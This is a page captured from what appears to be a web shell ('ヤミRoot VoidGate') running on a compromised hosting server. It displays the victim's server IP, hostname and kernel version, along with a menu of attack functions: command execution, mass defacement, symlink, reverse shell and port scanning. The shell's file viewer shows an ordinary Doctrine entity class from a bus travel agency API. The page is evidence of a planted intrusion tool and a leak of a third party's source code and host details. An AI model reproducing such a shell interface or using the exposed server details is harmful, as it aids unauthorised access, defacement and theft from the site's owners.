ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: Agency.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; use AppBundle\Entity\Schedule; /** * Agency * * @ORM\Table(name="agency") * @ORM\Entity(repositoryClass="AppBundle\Repository\AgencyRepository") * @Serializer\ExclusionPolicy("none") */ class Agency { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST", "AGENCY_DETAILS", "TRAVEL_CONFIG_DETAILS", "STAFF_DETAILS"}) */ private $agencyId; /** * @var string * * @ORM\Column(name="name", type="string", length=45, nullable=true) * @Serializer\Groups({"LIST", "AGENCY_DETAILS", "TRAVEL_CONFIG_DETAILS", "STAFF_DETAILS"}) */ private $name; /** * @var \AppBundle\Entity\Address * * @ORM\OneToOne(targetEntity="AppBundle\Entity\Address", cascade="persist") * @ORM\JoinColumn(nullable=false) * @Serializer\Groups({"LIST", "AGENCY_DETAILS"}) */ private $address; /** * @var \AppBundle\Entity\Staff * * @ORM\OneToOne(targetEntity="AppBundle\Entity\Staff") * @Serializer\Groups({"AGENCY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $manager; /** * @var \AppBundle\Entity\Company * * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Company", inversedBy="agencies") * @ORM\JoinColumn(nullable=false) * @Serializer\Groups({"LIST", "AGENCY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $company; /** * @var \AppBundle\Entity\Line * * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Line", cascade="persist") * @Serializer\Groups({"AGENCY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $lines; /** * @var \AppBundle\Entity\Schedule * * @ORM\OneToMany(targetEntity="AppBundle\Entity\Schedule", mappedBy="agency") * @Serializer\Groups({"AGENCY_DETAILS"}) * @Serializer\MaxDepth(2) */ private $schedules; /** * @var \DateTime * * @ORM\Column(name="created_at", type="datetime") * @Serializer\Groups({"AGENCY_DETAILS"}) */ private $createdAt; /** * @var bool * * @ORM\Column(name="active", type="boolean", * options = { * "default" : true * } * ) * @Serializer\Groups({"AGENCY_DETAILS"}) */ private $active = true; /** * @var \AppBundle\Entity\Bus * * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Bus") * @Serializer\MaxDepth(1) * @Serializer\Groups({"AGENCY_DETAILS"}) */ private $buses; /** * @ORM\OneToMany(targetEntity="AppBundle\Entity\Image\AgencyImage", mappedBy="agency") * @Serializer\MaxDepth(1) * @Serializer\Exclude */ private $agencyImages; /** * @var \AppBundle\Entity\Staff * * @ORM\OneToMany(targetEntity="AppBundle\Entity\Staff", mappedBy="agency") * @Serializer\Groups({"AGENCY_DETAILS"}) * @Serializer\MaxDepth(1) */ private $staffs; public function __construct(){ $this->createdAt = new \DateTime(); $this->lines = new \Doctrine\Common\Collections\ArrayCollection(); $this->buses = new \Doctrine\Common\Collections\ArrayCollection(); $this->staffs = new \Doctrine\Common\Collections\ArrayCollection(); $this->schedules = new \Doctrine\Common\Collections\ArrayCollection(); $this->agencyImages = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Set name * * @param string $name * * @return Agency */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Set address * * @param \AppBundle\Entity\Address $address * * @return Agency */ public function setAddress(\AppBundle\Entity\Address $address) { $this->address = $address; return $this; } /** * Get address * * @return \AppBundle\Entity\Address */ public function getAddress() { return $this->address; } /** * Set manager * * @param \AppBundle\Entity\Staff $manager * * @return Agency */ public function setManager(\AppBundle\Entity\Staff $manager = null) { $this->manager = $manager; return $this; } /** * Get manager * * @return \AppBundle\Entity\Staff */ public function getManager() { return $this->manager; } /** * Set company * * @param \AppBundle\Entity\Company $company * * @return Agency */ public function setCompany(\AppBundle\Entity\Company $company) { $this->company = $company; //On ajoute cette ligne parce que la relation est maintenant bidirectionnelle $company->addAgency($this); return $this; } /** * Get company * * @return \AppBundle\Entity\Company */ public function getCompany() { return $this->company; } /** * Constructor */ /** * Get agencyId * * @return integer */ public function getAgencyId() { return $this->agencyId; } /** * Add line * * @param \AppBundle\Entity\Line $line * * @return Agency */ public function addLine(\AppBundle\Entity\Line $line) { $this->lines[] = $line; return $this; } /** * Remove line * * @param \AppBundle\Entity\Line $line */ public function removeLine(\AppBundle\Entity\Line $line) { $this->lines->removeElement($line); } /** * Get lines * * @return \Doctrine\Common\Collections\Collection */ public function getLines() { return $this->lines; } /** * Set createdAt * * @param \DateTime $createdAt * * @return Agency */ public function setCreatedAt($createdAt) { $this->createdAt = $createdAt; return $this; } /** * Get createdAt * * @return \DateTime */ public function getCreatedAt() { return $this->createdAt; } /** * Set active * * @param boolean $active * * @return Agency */ public function setActive($active) { $this->active = $active; return $this; } /** * Get active * * @return boolean */ public function getActive() { return $this->active; } /** * Get buses * * @return \Doctrine\Common\Collections\Collection */ public function getBuses() { return $this->buses; } /** * Add bus * * @param \AppBundle\Entity\Bus $bus * * @return Agency */ public function addBus(\AppBundle\Entity\Bus $bus) { $this->buses[] = $bus; return $this; } /** * Remove bus * * @param \AppBundle\Entity\Bus $bus */ public function removeBus(\AppBundle\Entity\Bus $bus) { $this->buses->removeElement($bus); } /** * Add staff * * @param \AppBundle\Entity\Staff $staff * * @return Agency */ public function addStaff(\AppBundle\Entity\Staff $staff) { $this->staffs[] = $staff; return $this; } /** * Remove staff * * @param \AppBundle\Entity\Staff $staff */ public function removeStaff(\AppBundle\Entity\Staff $staff) { $this->staffs->removeElement($staff); } /** * Get staffs * * @return \Doctrine\Common\Collections\Collection */ public function getStaffs() { return $this->staffs; } /** * Add schedule * * @param \AppBundle\Entity\Schedule $schedule * * @return Agency */ public function addSchedule(\AppBundle\Entity\Schedule $schedule) { $this->schedules[] = $schedule; return $this; } /** * Remove schedule * * @param \AppBundle\Entity\Schedule $schedule */ public function removeSchedule(\AppBundle\Entity\Schedule $schedule) { $this->schedules->removeElement($schedule); } /** * Get schedules * * @return \Doctrine\Common\Collections\Collection */ public function getSchedules() { return $this->schedules; } /** * Add agencyImage * * @param \AppBundle\Entity\Image\AgencyImage $agencyImage * * @return Agency */ public function addAgencyImage(\AppBundle\Entity\Image\AgencyImage $agencyImage) { $this->agencyImages[] = $agencyImage; return $this; } /** * Remove agencyImage * * @param \AppBundle\Entity\Image\AgencyImage $agencyImage */ public function removeAgencyImage(\AppBundle\Entity\Image\AgencyImage $agencyImage) { $this->agencyImages->removeElement($agencyImage); } /** * Get agencyImages * * @return \Doctrine\Common\Collections\Collection */ public function getAgencyImages() { return $this->agencyImages; } }
Coded With 💗 by
0x6ick